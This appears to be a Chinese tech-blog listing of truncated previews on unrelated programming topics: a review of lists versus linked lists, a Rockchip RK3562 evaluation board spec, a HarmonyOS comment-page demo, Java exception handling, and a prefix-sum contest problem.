数据结构(回顾) 回顾 不同点顺序表链表存储空间上物理上一定连续逻辑上连续,物理上不一定连续随机访问支持,时间复杂度O(1)不支持,时间复杂度O(N)任意位置插入或者删除元素可能需要挪动元素,效率低&#…...

全国产!瑞芯微3562Mini(2GHz四核A53 NPU)工业开发板规格书
评估板简介 创龙科技 TL3562-MiniEVM 是一款基于瑞芯微 RK3562J/RK3562 处理器设计的四核 AR M Cortex-A53 单核 ARM Cortex-M0 国产工业评估板,主频高达 2.0GHz。评估板由核心板和评估底板组成,核心板 CPU、ROM、RAM、电源、晶振等所有元器件均采用国…...

鸿蒙HarmonyOS评论功能小demo
评论页面小demo 效果展示 1.拆解组件,分层搭建 我们将整个评论页面拆解为三个组件,分别是头部导航,评论项,回复三个部分,然后统一在index界面导入 2.头部导航界面搭建 Preview Component struct HmNavBar {// 属性&a…...

异常(6)
今天我们继续来讲异常的内容,关于异常的捕获和声明,也是在处理异常的的重要方式,话不多说,来看. 异常的捕获 异常的捕获,也就是异常,的具体处理方式,主要有两种,主要有两种:异常声明throws以及try-catch捕获处理. 3.1异常声明throws. 处在方法声明时参数列表之后…...

精选一百道备赛蓝桥杯——2.K倍区间
解题思路 任何两个前缀区间的和对k取模的值相等,则由大的前缀区间减掉小的前缀区间所形成的区间的必定是K倍区间。因此我们可以对具有区间和%k值相等任何两个区间进行组合,再将这些值加起来就得到结果!证明: 假设一个数列为a1,a2…...